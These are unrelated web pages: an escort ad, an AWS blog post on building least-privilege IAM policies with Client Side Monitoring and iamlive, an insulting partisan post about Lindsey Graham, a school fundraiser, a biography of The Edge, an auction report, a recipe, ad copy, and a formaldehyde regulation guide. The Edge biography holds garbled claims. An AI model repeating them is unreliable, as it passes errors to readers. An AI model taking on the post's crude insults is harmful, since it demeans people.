Although she will certainly set your heart aflutter with her incredible body, she will also immediately draw you to her with her warm and seductive personality. It could be that her sultry Eastern European accent will be enough, or perhaps the way she looks at you with her dark and mysterious eyes. Whatever it is you find most attractive about Mishelle, in this case, initial impressions will not be disappointed.
View profiles of more brunette London escorts like Mishelle


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Foghorn clients often ask us for help in defining a least-privilege environment for their existing applications. A significant piece of that goal involves defining AWS IAM policies that allow only the API calls necessary. In this post, I present one approach that we've recently added to our toolkit- a nifty open-source software package.
When creating a least-privilege IAM policy, identifying the necessary API calls for the Action stanzas can feel like a guessing game, or a tedious effort of trial and error. This is where AWS Client Side Monitoring can come in handy. That linked blog post is a quick read and provides a decent summary, but to paraphrase one key point:
Using this, you could potentially have as part of your unit testing, a record of every AWS call made, which could let you ensure that the IAM role of the application was restricted to only those privileges [which your application needs.]
Small steps, iterated quickly
This looks like a great fit for a common use case we have! How do I get started? As will most software development and infrastructure as code, I like to start small, and iterate once I have something working. So start by seeing whether we can observe the CSM events directly, on our local developer workstation.
local terminal to local terminal
Let's start with no additional tooling, besides the AWS CLI. We can use netcat to listen for events on the CSM default port 31000:
$ nc -kluvw localhost 31000
Then, in another terminal, enable CSM and run any AWS CLI command (here, my go-to check of sts get-caller-identity):
$ export AWS_CSM_ENABLED=true
$ aws sts get-caller-identity
An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation: The security token included in the request is invalid.
The call failed because I don't have an AWS profile set, but that's fine. Netcat still receives the CSM event, so we now know CSM is working as intended!
two machines, same network
What I find really enticing about CSM is the ability to use a remote host for collection, the AWS_CSM_HOST environment variable. Once again, run netcat:
$ nc -kluvw 0 0.0.0.0 31000
Notice that instead of localhost, as we used in the local-to-local option, we're now using 0.0.0.0 (listen on all interfaces). On another machine (laptop, PC) on the same local network, run the AWS CLI commands:

$ export AWS_CSM_HOST=172.16.11.123 # other machine's IP

$ export AWS_CSM_ENABLED=true

$ aws sts get-caller-identity

Once again, the call fails (or if you use a valid default profile, it will succeed). But either way, the important bit here is that Netcat received the event — in this case, over the local network from the reporting machine.
iamlive utility
All of the prior examples are basic demonstrations of AWS CSM. However, netcat only gets us so far, and then we need a few lines of Bash to do more interesting work on the netcat output. Instead, let's use a tool built for the purpose of inspecting CSM logs, the nascent iamlive from Foghorn's friend and co-podcaster Ian Mckay.
Instead of netcat, we download the release of iamlive matching our computer architecture, and simply run $ ./iamlive
If you re-run the first example above (local-to-local) in two terminals, you'll get clean output structured as a valid IAM policy document.
local terraform
Can we use this for more than CLI commands? Definitely! Let's try observing CSM events from a local Terraform deployment. Use two terminals, in the first, run iamlive. In the other, enable CSM and then run terraform:

$ export AWS_CSM_ENABLED=true

$ terraform init

$ terraform plan

$ terraform apply

Using iamlive in this way will generate an IAM policy document which serves as a starting-point for a least-privilege policy for that Terraform deployment (it should still be reviewed for additionally limiting Resources and adding conditions).
Video demonstrating what this looks like
Lambda to collection instance (bastion)
This is great! We now have a method to identify what AWS API calls are needed for a Terraform deployment (or really any activity in AWS). What if we want to use this approach for an AWS Lambda function, for instance? Maybe the simplest approach would be to run iamlive on a "collector" EC2 instance, such as a bastion host in your VPC.
As an aside, this is why we love Terraform at Foghorn: it allows quickly prototyping infrastructure of all sorts. To deploy this demo, I used my existing "popup" code, to deploy a VPC, a Lambda function, and a Bastion EC2 instance (or "jump host"):

$ ls *.tf

bastion.tf lambda.tf main.tf versions.tf vpc.tf

With those pieces of infrastructure terraform apply'd, I'm ready to SSH to the bastion, and run iamlive there, to listen for the Lambda invocation. We can even hand the Bastion private IP in to the Lambda function's environment variables, within our Terraform deployment:
module "lambda" {
source = "../lambda-module"
# other attributes...
environment_variables = {
AWS_CSM_ENABLED = true
AWS_CSM_HOST = aws_instance.bastion.private_ip
One additional value-add of Terraform is that we can use outputs in downstream shell commands:
ssh -l ubuntu $(terraform output -raw bastion_ip)
One small problem
However, for the collector EC2 instance to receive metrics from Lambda (or anywhere in my VPC really), we need one additional piece. Recall that in the local-network, remote machine example above, we had to change the netcat command from using localhost to using 0.0.0.0. The iamlive tool also needs to listen for remote hosts. At present, it doesn't expose host address as an option.
And this is why I love open-source software: I created a small pull request to add that command-line flag! While waiting for the project maintainer(s) to review the PR, I recompiled the iamlive binary myself.
Since iamlive requires Go version 1.16 or above: This project requires Go 1.16 or above to be built correctly (due to embedding feature). We have to be sure to use an (unstable) 1.16.x release. My existing Go executable:
$ go version
go version go1.15.7 darwin/amd64
Versus the unstable 1.16rc1 which I just installed:
$ /usr/local/go/bin/go version
go version go1.16rc1 darwin/amd64
Since I'm working on an Apple laptop, but targeting an Ubuntu EC2 instance, I need to make sure the binary is built for the correct target architecture. Fortunately, Go makes it really easy to create a cross-platform build:
$ export GOOS=linux
$ export GOARCH=386
$ /usr/local/go/bin/go build
$ file iamlive
iamlive: ELF 32-bit LSB executable
The main event
Now we're ready to rumble! Let's copy this newly compiled binary to the bastion:
scp iamlive ubuntu@$(terraform output -raw bastion_ip):
Recalling that we set the Lambda function's environment variables AWS_CSM_ENABLED and AWS_CSM_HOST via Terraform above, all that's left is to test the Lambda function (through the web console, for now). I made a quick video demonstration of what this looks like. The bastion host running iamlive is on the left, and the Lambda web console on the right.
from os import environ
import boto3
def lambda_handler(event, context):
client = boto3.client("sts")
response = client.get_caller_identity()
return {
"isBase64Encoded": False,
"statusCode": 200,
"headers": {},
"body": f"OK: {response['UserId']}",
For this demo, the Lambda function code is trivially simple — we just want to induce any AWS API call, so again we use get-caller-identity. The complete Python code for AWS Lambda is as follows:
And the IAM policy that iamlive generated from this example, copied directly out of my terminal, is as follows:
"Version": "2012-10-17",
"Statement": [
"Effect": "Allow",
"Action": [
"Resource": "*"
Final Thoughts
In my day to day work, I assist companies with large-scale design and build activities, and work with both Foghorn engineering teams and our peers on the customer's side. These are large projects involving many resources, sometimes spanning months of effort. It's really important to me to stay close to the work, and a simple exploration like the one above helps me understand the nuances of implementation, which in turn informs how I scope even the largest projects.


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Posted by AzBlueMeanie:
Senator John McCain's puppet boy, Little Lindsey Graham, is threatening to hold up all executive branch nominees until he gets yet another hearing on Benghazi! Benghazi! Benghazi! (Psst! Lindsey -- the White House already agreed to it.)
This smarmy little shit is facing a primary challenge from a pair of teabaggers for his Senate seat, so he is using the U.S. Senate as his personal playground for his reelection campaign to appeal to the GOP crazy base. The needs of the country be damned.
If anyone deserves to lose his seat in 2014, it is this smarmy little shit. (Bonus: with his puppet boy gone, John McCain will have lost his last BFF, and has no reason to hang around any longer.)
So now that the Benghazi! Benghazi! Benghazi! conspiracy theory has blown up in the face of CBS News and 60 Minutes today, Little Lindsey Graham is suddenly silent. Josh Marshall at Talking Points Memo reports, Graham Goes Silent:
Sen. Lindsey Graham (R-SC) was hogwild about the now-discredited 60 Minutes blockbuster in which fabricator-security contractor Dylan Davies recounted his nonexistent exploits the night of the attack on the US consulate in Benghazi more than a year ago. But after CBS finally retracted the story this morning (after dragging its collective heels for a week), Graham is now declining to discuss the story or the retraction.
No matter. Steve Benen reports that Little Lindsey Graham is keeping his hold on nominees in place, just because he can. A hard man to please:
Last month, Senator Lindsey Graham vowed to block the confirmation of every Obama administration appointee because the administration was preventing Benghazi survivors from testifying before Congress. Now, three Benghazi witnesses are set to testify for the first time. Their lawyer says the administration never discouraged their testimony, but Graham's office says the holds aren't going anywhere. "Still have holds in place," Graham's spokesman Kevin Bishop tells The Cable.
It's unclear what further actions might change Graham's calculus on the holds….
Over the last year, I feel like a pattern has emerged. Congressional Republicans, convinced without evidence that their vague conspiracy theories have merit, said, "Give us classified briefings on Benghazi or we'll throw a fit!"
* * *
So Republicans said, "We demand to hear directly from Benghazi survivors or we'll throw a fit!"
At which point the administration agreed to make several Benghazi survivors available for testimony.
If Graham said he'd block the entirety of the Senate confirmation process unless the witnesses agreed to testify, and now they've agreed to testify, why is Graham still blocking the confirmation process?
Because it appears some people just enjoy throwing fits as if it's some kind of immature habit.
Little Lindsey's genteel Southern sensibilities are offended: "Why I do declare, i am about to have the vapors! Someone please bring me my smelling salts." Here is Jon Stewart riffing on Little Lindsey Graham.


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What will you get when you drop off a bag full of your gently used items to Mt. Rainier Elementary School's (MRE) parking lot on Saturday, April 28th from 9am – 1pm (or earlier on in the week via option noted below)? You'll get the awesome feeling (and likely a round of high-fives) knowing that you just brought the school one bag closer to raising much needed funds for student activities and programs! Heck, make it 6 bags and you'll be floating on air all weekend! 🙂
This eager MRE student is already sorting through his donation contenders! |
What's this about? Mt. Rainier Elementary PTO is running a "FUNDrive" where they are collecting donations of gently used goods from our local communities which will then be delivered to a local Savers store, like Value Village, who will then weigh the total goods and provide a payment to the PTO for these donations. This payment will go towards helping to support activities and programs for students at MRE! Donations are indeed tax deductible.
Is this just for MRE Students and Families? Nope! You do not need to have a student at MRE to participate; just being the awesome person that you are is enough (well, that and some bags full of goods to donate)! Though if you are an MRE student, know that the grade that brings in the most donated bags wins a pizza party from the PTO!
How Many Bags May I Donate? The PTO's goal is to raise $1,000 by donating 400, 13 gallon kitchen bags to Value Village. See here for a list of acceptable items. BRING AS MANY BAGS OF DONATED GOODS AS POSSIBLE! You will make MRE student Ani so happy. And really, the world is just such a happier place when this lady smiles!
When & Where Can I Drop Off My Bags of Donations?
- April 21st-27th: Bring your bagged items to porch drop off at 4205 30th Street (local parents graciously provided the porch as this drop-off spot); &
- April 28th, 9am-1pm: Bring your bagged items to drop off at Mt. Rainier Elementary School (4011 32nd Street, Mt. Rainier)! Rain or shine!
About Mt. Rainier Elementary School:
If you have questions about this event or are interested in volunteering, feel free to reach out to MRES PTO member Rajni Sood Laurent at email@example.com


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The Edge Biography, Life, Interesting Facts
Birthday :
Also Known For :
Birth Place :
Barking, England, United Kingdom
Zodiac Sign :
Chinese Zodiac :
Birth Element :
The Edge is a known guitarist of all time for his association with U2 band famous for music such as 'The Joshua Tree' and 'Achtung Baby.' With the band, he has played guitar, keyboards and occasionally served as a co-lyricist. Other than his band performances he has made collaborations with other musicians such as Tina Turner in, 'Spider-Man: Turn Off the Dark' and 'A Clockwork Orange.' Remarkably, he has earned 22 Grammy Awards and has been inducted into the Rock and Roll Hall of Fame.
Childhood Life
David Howell Evans, famously known by his stage name, 'The Edge' is an English musician born on August 8, 1961, in County of Essex in England, United Kingdom. He is the second born to parents Garvin and Gwenda Evans. He has an older brother called Richard often called Dik and a small sister named Gillian.
During his childhood, he conversed in Welsh and Irish English. Also, due to his interest in music; he received a piano and guitar lessons while he practiced his music alongside Dik, his older brother.
David Howell Evans grew up in Ireland where he enrolled in St. Andrew's National School and later in 1976; he attended Mount Temple Comprehensive School. While at school, he formed a band that evolved into U2.
The U2 band began performing publicly in 1977 in small venues in Dublin and other places in Ireland. They played their first concert in December 1979, in London and started made extensive tours across the British Isles followed by a release of their album, 'Boy' in 1980.
Although in October 1981, David Howell Evans wanted to leave the band for religious reasons, he stayed and wrote a piece of music titled, 'Sunday Bloody Sunday.'
The Edge supplies backing vocals to the U2 band in songs such as 'Stuck in a Moment You Can't Get Out Of,' 'Sometimes You Can't Make it Your Own,' 'and The Fly' among others. In 1983, the band released a live album and a video release titled, 'Under a Blood Red Sky' and 'Live at Red Rocks: Under a Blood Red Sky.'
Additionally, he sang for Elevation Tour with albums such as, 'U2 Go Home: Live from Slane Castle' and 'Elevation 2001: Live from Boston.' David Howell Evans also backed up vocals in songs such as 'Beautiful Day,' 'New Year's Day' and 'Stay (Faraway, So, Close!) followed by a song, 'Love is Blindness' in the film, 'From the Sky Down.'
In addition to his regular role with the U2 band, The Edge has recorded music with artists such as Tina Turner, Jay-Z, and Rihanna. In 1986, he played alongside Brian Eno and Daniel Lanois, 'Score to the film Captive' and released a single 'Heroine' sung by a young vocalist, Sinead O'Connor.
In 1987, he co-wrote the song, 'The Joshua Tree. 'The Edge has played keyboards with the band on several occasions in songs such as, 'I Fall,' 'So Cruel,' 'New Year's Day' and 'Miss Sarajevo.' He also played both piano and the guitar alternately for 'Raised by Wolves.' However in a song such as, 'Original of the Species,' he only played the piano. Occasionally, David Howell Evans plays bass guitar in live performances of the song, '40' where he switches instruments with the bassist Adam Clayton.
The Edge wrote the theme song for season two of the series, 'The Batman' and alongside other U2 band members, he wrote the theme of the film, 'GoldenEye' in 1995. Also, with Bono, The Edge composed a musical adaptation of 'Spider-Man.' On July 28, 2011, The Edge released a single titled, 'Rise Above 1' featuring Bono. On April 2016, he performed as the first rock artist for the Angiogenesis Foundation in Sistine Chapel.
Awards and Achievements
In 2017, David Howell Evans received a Les Paul Spirit Award from the Les Paul Foundation and has earned 22 Grammy Awards for his outstanding performances.
Personal Life
On July 12, 1983, The Edge married his high school girlfriend, Aislinn O'Sullivan and they have three daughters namely, Hollie, Arran and Blue Angel. However, the couple separated in 1990 and legally divorced in 1996.
In 1993, David Howell Evans dated an American Professional dancer and choreographer, Morleigh Steinberg' and they have two children, a daughter named Sian and a son Levi. The couple later married in 2002. Recently, The Edge received negative criticism for his efforts to build five luxurious mansions in Malibu, California.
The Rolling Magazine played The Edge at number 38 of the 100 Greatest Guitarist fall time. In 2012, Spin ranked him 13 on their list followed by Rolling Stone which ranked him in their list of Greatest songwriters of all Time, at number 35 in 2015.


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Luxury watches, exquisite jewels, Tiffany lamps and Amphora powered Morphy's glittering $4.3M holiday auction
Platinum Audemars Piguet Royal Oak Perpetual Calendar wristwatch doubles high estimate at $240,000; Amphora 'Spitting-Coin Dragon' vase roars at $52,800, Tiffany lamp exceeds $100K
DENVER, Pa. – Bidders had a taste for luxury and rarity at Morphy's lavish Dec. 8-10 pre-Christmas Fine & Decorative Arts Auction, paying above-estimate prices on many of the sale's premier lots. The $4.3 million event boasted fabulous Tiffany lamps, art glass, high-quality silver, bronzes, coins, fine art, and a formidable array of art pottery, including exotic Amphora. More than 200 lots of magnificent jewelry and important watches attracted the attention of connoisseurs worldwide, with a superb timepiece – a platinum Audemars Piguet Royal Oak Perpetual Calendar wristwatch, Ref. D34714 – claiming top-lot honors.
Purchased new in Paris in 1994, the automatic "Quantieme Perpetuel Automatique" octagonal wristwatch, hallmarked and featuring moon phases in solid platinum, has a textured blue dial and white gold hands and stick markers. The handsome, substantial watch with a gross weight of 225 grams attracted 17 bids and more than doubled its high estimate, selling at Morphy's, boxed and with papers, for $240,000.
Within the fine-watch collecting community, there are many who pursue examples that have been "flown" in outer space. The auction selection included an extremely rare Omega Speedmaster Mir 365 stainless steel chronograph wristwatch, #11 of only 28 such watches that spent 365 days aboard Mir Space Station from July 1993-July 1994. Following its space odyssey, it was offered for sale, in 1995. Accompanied by its original box, full complement of accessories and relevant documentation, it "changed hands" for $96,000.
Women's jewelry was led by a platinum natural fancy intense yellow diamond ring with a brilliant-cut 6.11-carat central diamond of VS1 clarity, surrounded by 40 near-colorless round, brilliant-cut diamonds weighing 0.84 carats. Perhaps destined to become the ultimate stocking stuffer for some lucky gift recipient, the 9.3-gram ring sold for $48,000.
Jewelry might also have played a role in the exceptional price paid for an 1840 American portrait of a child. The 23- by 29-inch (sight) oil-on-board painting charmingly depicts an infant girl in a lacy dress, seated on a rug alongside her black cat, silver rattle and teething ring. With beautiful ginger hair and deep blue eyes, the child wears a nicely detailed double-strand coral necklace with round-bead separators and a gold clasp. Entered with expectations of making $800-$1,200, the portrait drew 51 bids before selling for $38,400 – 32 times the high estimate.
A signed 1900 oil-on-canvas painting of a mother hen with her 12 chicks by the beloved Reading, Pa., artist Ben Austrian (1870-1921), also found favor, rising to $14,400 against an estimate of $5,000-$8,000.
More than 175 stained- and leaded-glass lamps were offered, including 81 coveted Tiffany Studios productions. At the forefront was a circa-1910 Tiffany Studios "Peony" leaded-glass lamp with a shade displaying a medley of peonies in shades of red, pink and magenta. Its unusual six-socket "Chase Pod" base was designed with telescopic functionality allowing the lamp to be raised or lowered. The double-signed lamp was bid to $102,000. Among the many other noteworthy Tiffany Studios lamps was a signed example with a bamboo-form base supporting a shade with a striking bamboo motif. It sold above its high estimate for $87,000.
The auction opened with 121 lots of highly desirable Amphora pottery produced in Bohemia from 1892 through the first decade of the 20th century. A piece that had created considerable pre-auction buzz was a monumental (21½-inch) creation known as the "Spitting-Coin Dragon" vase. Its name refers to its quite-literal motif of an applied, extended-wing dragon that appears to spit "coins" into a body of water. Well credentialed with impressed numerals and both RSTK and Amphora oval marks, it also has the distinction of being illustrated in Byron Vreeland's reference Monsters and Maidens: Collectors Edition. The vase came to auction with an $18,000-$24,000 estimate but had no trouble achieving a stellar $52,800.
Alongside the dragon, another creature historically popular in dark lore and fantasy is central to the theme of a 21-inch Amphora vase that more than tripled its high estimate at Morphy's. With applied and well-detailed openwork bats and berries around the neck and botanical decoration on its body, this eye-catching vessel is similar to one that appears in both the aforementioned Monsters and Maidens and Richard Scott's reference Ceramics From The House of Amphora 1890-1915. Against an estimate of $10,000-$15,000, it realized $45,600.
Following the auction, Morphy Auctions' president, Dan Morphy, commented: "The December Fine and Decorative Arts sale is one of the highlights of our annual auction calendar. It attracts both high-end collectors and shoppers who are looking for luxury items and unusual gifts that can't be found in stores. We always strive to present a first-class selection for our holiday event, and this time we were rewarded with an outstanding $4.3-million-dollar total. I couldn't be more pleased, either with the total or the enthusiastic global turnout for this sale."
To discuss consigning to a future Morphy Auctions Fine & Decorative Arts sale, call 877-968-8880 or email [email protected]. All enquiries will be kept in strictest confidence. Visit Morphy Auctions online at www.morphyauctions.com.


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This recipe has been a great hit over at South Your Mouth! It has received lots of wonderful feedback from readers, let's have a look at some of them:
Just made this last night….found my new favorite soup….cream of onion! Reduced the amount of onions I put in and used a can of the onion soup…..Hubby didn't even have left-overs for work! YUMMY!!!
Made this for supper tonight with a side of turnips and greens. Loved the ease of putting casserole together. Had to substitute bell pepper cause I didn't have celery and used regular sausage (my family isn't fond of hot spicy food). Now we've got plenty of leftovers. Thanks so much for sharing this recipe!
1 pound pork sausage
1 medium onion
2-3 stalks celery
1/4 tsp red pepper flakes (optional)
1 (14.5 oz) can chicken or vegetable broth
1 can cream of celery soup
1 cup uncooked white rice
Preheat oven at 350 degrees. Spray a 1.5quart casserole dish with cooking spray.
Brown and crumble sausage in a skillet. Add onion, celery and red pepper flakes, continue cooking until veggies are becoming translucent and the sausage is no longer pink.
In a bowl, whisk together broth and soup. Pour the mixture and rice in the skillet and mix until everything is well combined. Pour into the casserole dish and cover tightly with aluminum foil, bake for 1 hour. Remove from oven and let rest for 10-15 minutes before serving.
Quick Tip: You can use cream of chicken soup instead of cream of celery!
Thanks to South Your Mouth for this tasty casserole recipe the whole family will love!


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Auto Shipping in Tok
Auto Shipping TLC has been transporting cars, trucks, and SUV's to and from the city of Tok since 2011; call today for a free estimate.
(561) 369-2255Car Transportation You Can Trust
Do you need a quick response from our auto shipping experts? Call us at (561) 369-2255 or fill out the short form; our staff will answer any questions and provide a free estimate on shipping your car to or from Tok, Alaska.
Top Rated Auto Shipping in Tok, Alaska
Do you need to transport a car, truck, or SUV to or from Tok, Alaska? Well, look no further! You have found your new best friends in the vehicle transportation business; Auto Shipping TLC has been shipping automobiles since 2011 and we will take care of you from beginning to end. You can rest assured knowing your vehicle will be safely transported by industry leading experts. Call (561) 369-2255 to get a free quote to ship your car.
The City of Tok
The municipality of Tok is in 1 county.
- Southeast Fa
Zip Code
Tok has 1 zip code.
- 99780


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Morse Machine teaches Morse code using a tried and tested technique called the Koch Method.
Instead of encouraging you to memorize the dots and dashes for each
letter and number – a bad practise that usually results in an inability
to receive at faster than about 12wpm – Morse Machine sends quickly
enough that you have to learn to recognize the sound of each
letter, right from the start. The slowest it will send is 20wpm, so once
you have learned the code using this program you will be able to
receive at that speed – fast enough to QSO with 80% or 90% of stations
on the air! The only ability you need is a reasonable familiarity with
the computer keyboard, so that you can quickly press the right key for
the character you heard.
You can choose to learn letters only, numbers only, or a combination
of letters, numbers and symbols. Morse Machine sends a character and
then waits for you to type what you heard. If you get the character
wrong it repeats it until you get it right. You start off with two
characters, and when the program sees you are copying them correctly it
adds another, and then another, until you are accurately copying the
whole alphabet, numbers and punctuation characters! As you correctly
read each character, the green bar above it goes down, so that you can
easily see which characters are causing the most difficulty.
- PC running Windows 95, 98, Me, 2000, XP or Vista.
- Sound card configured as default wave output device.
Morse Machine also runs very well under Linux using wine.
Download link http://www.g4ilo.com/files/mmsetup.exe


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Farmer Leaders in Nicaragua Help Their Neighbors Obtain Production Loans
By Rodolfo Ricardo Hernandez Navas – Agriculture Program Officer
The mission of Self-Help International is to, "Alleviate hunger by helping people to help themselves." In Nicaragua, Self-Help has adopted a three-pronged approach to assist farmers in improving the quality and quantity of food they produce.
The crucial elements are: (1) access to improved seeds, such as high protein (QPM) corn and biofortified beans; (2) improved knowledge of agricultural practices, communicated through workshops, demonstration plots, and social media postings; and (3) short-term loans using funds received from Self-Help donors. Access to credit allows farmers to not only acquire improved seeds but also purchase the fertilizer, pesticides, and seed protection inputs they need to take full advantage of the genetic potential of the seed they purchase.
At the beginning, Self-Help provided credit to a group of farmers who agreed to produce certified QPM seed corn, which was then channeled into the commercial agricultural input market. In 2019, the credit program was extended to a larger group of 68 farmers who, after completing the necessary training, planted the certified QPM seed and produced commercial corn.
After meeting their own families' nutritional needs, farmers marketed their extra production to other families in the community. This provided the farmers with cash income to spend on other priorities such as education for their children and home improvements.
Self-Help has developed this innovative model that identifies leading farmers in each community who in turn identify other farmers whom they consider to be good credit risks. These leaders help arrange loans from Self-Help to purchase seed and other crop inputs. They also take responsibility for seeing that the loans are repaid after the crops are harvested. By utilizing local leaders, Self-Help leverages its professional expertise and capital to benefit many more families.
The following farmers are examples of three key leaders from the communities of San Agustín, Nueva Armenia, and Las Minas. All three of them began collaborating with Self-Help to produce certified seed corn. As of 2021, they have taken responsibility for helping their neighbors obtain financing to buy needed inputs and market their products.
Isidro is the president of the Los Chiles Cooperative, which has 46 members. He is also responsible for the biofortified bean seed bank in his community. Through Isidro's efforts, the members of the Cooperative plus four other farmers in his community received loans from Self-Help. They depend on the leadership, decision-making, and hard work that Isidro demonstrates every day. In 2019, he was presented with the SHI Merry Fredrick Leadership Award for his efforts.
Ariel is from the community of Nueva Armenia. Besides facilitating loans for his group of 22 farmers, he shares with them the agricultural knowledge he has learned from Self-Help. Although the farmers each receive individual loans, Ariel knows them all personally and is responsible for both the disbursement and the recovery of the funds. You can read more about Ariel's role in improving agriculture in his community in the April GlobalGiving report.
Basilio is the leader with the largest number of producers under his responsibility. He has taken charge of a group of 39 farmers from Las Minas. He helps them obtain financing from Self-Help and passes on the knowledge and strategies and he has learned through the Self-Help agriculture program.
In April 2020 every one of the farmers receiving a loan repaid it on time, despite disruptions to the Nicaraguan economy from the beginning of the COVID-19 pandemic.
For the most recent planting season, beginning in September-October 2020, 65 farmers received loans totaling 429,480 Córdobas, or about $12,600 US. Loans are to be repaid within a period of 7 months, after the crops are harvested. April 2021 was the deadline for cancellation of the loans. Of the 65 cooperating producers, only 3 of them had not repaid yet as of April 2021, resulting in a 96% repayment rate (with anticipated 100% later in 2021).
Each producer who works with these three leaders has confidence that everything will turn out well, that they will achieve better yields with their crops, and, after repaying their loans, he will have extra money to expand his corn plantings and improve his family's living situation.
Self-Help has confidence in these three leaders because they know the people in their communities and their needs, and have earned their trust. They have become vital intermediaries in fulfilling Self-Help's mission.


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Small Footprint, Big Capabilities
The Gemini AS Automated Slide Stainer delivers high-throughput staining capabilities to the busy histology laboratory. With its new intuitive touch-screen interface, operation is easy-to-learn and simple-to-use.
The unique dual-level design, with integrated power supply and touch-screen, ensures maximum space savings. With its small footprint, the Gemini AS Stainer can be placed near the sectioning area for optimal workflow. The intelligent look-ahead control software provides the ability to run up to 12 slide racks simultaneously with minimal reduction in speed. The "urgent" feature enables a rack to be given priority for MOHS surgery or similar STAT needs. The five heated stations provide maximum throughput without the need for a separate drying oven.
Multidimensional Design
- Two-tier design occupies minimal bench space
- Integrated color touch-screen with intuitive software offers quick learning and simple operation
- Scheduler software allows multiple protocols and slide racks to be run simultaneously at optimal speed
- User easily sees progress of slides and placement of reagents with built-in LED lighting
- Fully editable protocols and stain sets provide flexibility in programming
- Fume extraction, battery backup and lockable slide rack ensure safety for the slides and the operator
- 26 or 31 reagent stations accommodate multiple protocols without changing reagents
- One-touch on-screen view of reagent status provides simple reagent monitoring
- Battery backup with 40 minutes of continual staining power
- Download protocols and log files via USB connectivity
- Load-on-demand flexibility with STAT capability
- Units available with or without five independently heated stations
- Six running water stations
- Four configurable doors for convenient loading and unloading
- Fume control easily managed with carbon filters or vent adapter kit
- Internal flow regulators and anti-siphon devices to protect water supply
- Lockable baskets to ensure secure slides, even upside down
- Auto-return recalls any loaded basket to the load door
- Passcode protection to secure customized protocols


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Formaldehyde is a naturally occurring organic compound, found in everything from construction materials and pressed-wood products to clothing textiles. Formaldehyde is also regulated in the United States, meaning that materials must not contain amounts of the substance above certain limits.
In this guide, we explain what importers and manufacturers must know about US formaldehyde regulations, lab testing, and risks.
Content Overview
- Request a free 30-minute call with Ivan Malloci to learn how we can help you with:
- Find product requirements
- Certification and labeling
- Lab testing
What is formaldehyde?
Formaldehyde is a compound of carbon, hydrogen, and oxygen that takes the form of a colorless, sharp-smelling gas at room temperature. The term formalin refers to an aqueous solution of formaldehyde, which functions as both a preservative for various foods, cosmetics, and as an industrial disinfectant.
Many construction materials, including pressed-wood products such as particleboards, plywoods, or fiberboards, might contain formaldehyde, which increases their toughness and tensile strength. Since formaldehyde-based resins make it possible to make these materials from wood waste resources, they help to decrease deforestation.
Formaldehyde is also a common substance applied in the clothing and textile industries to increase the ability of crease-resistance and dimensional-stability of pure cotton or cotton blended fabrics.
Is formaldehyde banned in the United States?
Formaldehyde is a sensitizing agent and can trigger an immune response. Airborne formaldehyde concentrations above 0.1 parts per million (ppm) may irritate some people's eyes, nose, throat, skin, or induce coughing, wheezing, and other respiratory reactions.
In addition to the above acute symptoms, long-term exposure to formaldehyde is a risk factor for leukemia and cancers of the nose, throat, and sinuses.
For these reasons, federal agencies like the EPA and the FDA have put limits on the use of formaldehyde. Several states like California, Minnesota, New York, or Washington, have also enacted their own laws regulating the content of formaldehyde in consumer products.
Which products and materials may contain formaldehyde?
This section covers several product categories that might contain formaldehyde. Note that we only provide examples of products and materials under each category, which may not include every single product to which formaldehyde restrictions apply.
Construction Materials
- Particleboards
- Hardwood plywoods
- Medium-density fiberboards
- Adhesive formulations
- Insulation materials
- Varnishes
Furniture products that are made of composite woods or formaldehyde-containing resins, paints, lacquers, and other coatings, such as:
- Couches
- Bed frames
- Stools
- Desks
Food Contact Materials
Food contact materials that are made with or contain melamine-resin-based substance such as:
- Ladles
- Plates
- Bamboo composite kitchenware
- Paper coatings
- Cardigans
- Pullovers
- Pants
- Lingeries
- Pajamas
- Carpets
- Rugs
Cosmetics and Personal Care Products
- Cosmetics products
- Hair smoothing products
- Hair straightening products
- Nail care products
Formaldehyde Product Regulations
Federal agencies like the EPA and the FDA have developed regulations and standards concerning the use of formaldehyde. In the following sections, we introduce the requirements of these regulations, in regard to composite wood products and food contact materials.
Formaldehyde Standards for Composite Wood Products
The Toxic Substances Chemical Act (TSCA) Title VI includes Section 770, which is the Formaldehyde Emission Standards for Composite Wood Products manufactured, imported, sold, and distributed in the United States.
These rules are administered by the EPA (Environmental Protection Agency) to reduce the formaldehyde emission from products that are made with composite woods. They aim at decreasing consumers' exposure to formaldehyde from furniture, construction materials, and other products that are made with composite woods.
The emission standards apply to composite wood products that are in the form of a panel, component part, or finished items, and therefore cover products such as:
- Medium-density fiberboards
- Particleboards
- Hardwood plywoods
- Veneers
The rule also stipulates the testing requirements, product labeling, import certification, documentation authorities, and inventory management of the regulated products.
Product Scope
The following products are under the supervision of the rule:
- Hardwood plywoods
- Medium-density fiberboards
- Particleboards
- Veneer
- Lumber
- Wood panels
- Laminated products
- Engineered wood products
- Furniture
- Building materials
- Prefabricated wood buildings
Standards / Requirements
This rule adopts ASTM E1333-14 as the testing method to determine the formaldehyde content in composite wood products. Emission standards are explained in Section 770.10. Below are the specific requirements:
- Hardwood plywood: Formaldehyde < 0.05 ppm
- Medium-density fiberboard: : Formaldehyde < 0.11 ppm
- Thin medium-density fiberboard: Formaldehyde < 0.13 ppm
- Particleboard: Formaldehyde < 0.09 ppm
Section 770. 30 requires that importers of composite wood products must keep records of relevant documents and information, for 3 years from the date of import and show the compliance of their products to the EPA when requested. These documents might include:
- Test report
- Certificate
- Written statements from suppliers demonstrating that the goods are TSCA Title VI compliant, or were produced before December 12, 2018
- Other relevant information such as the bill of lading or the purchase invoice
Note that the certification processes must be conducted by EPA-recognized third-party testing companies. You can visit the official website of the EPA to find recognized bodies under this rule.
Labeling Requirements
Section 770.45 of the rule establishes labeling requirements for composite wood products circulating in the market of the United States. This label could be presented in the form of stamp, tag, or sticker, bearing the following information:
- Panel producer's name
- Lot number
- EPA-accredited third-party certification number
- A statement that the products are TSCA Title VI compliant
Food, Drug and Cosmetic Act
Food Contact Materials
21 CFR Part 177.1460 requires that the formaldehyde content in melamine resins used as the surface of the food-contact products must not exceed 0.5 milligrams per square inch of the food-contact surface when tested under the procedures specified in Part 175.300.
Melamine-formaldehyde resins can be used as the surface of a wide range of kitchenware and tableware such as the following examples:
- Plates
- Bowls
- Ladles
- Spoons
- Reusable coffee-to-go cups
The FDA acknowledges that contact with products that contain formaldehyde, such as hair smoothening or nail care products, might cause skin sensitization or allergic dermatitis.
Since cosmetics products are required to have the list of ingredients in the labeling, the FDA recommends looking for the following ingredients, if you want to avoid formaldehyde-based products:
- Formaldehyde
- Formalin
- Methylene glycol
The CPSC (Consumer Product Safety Commission) declares that consumer products containing more than 1% of formaldehyde might cause potentially severe hypersensitivity on the human body.
Therefore formaldehyde is listed as the "strong sensitizer" substance in Title 16 CFR 1500.13 of FHSA (Federal Hazardous Substances Act).
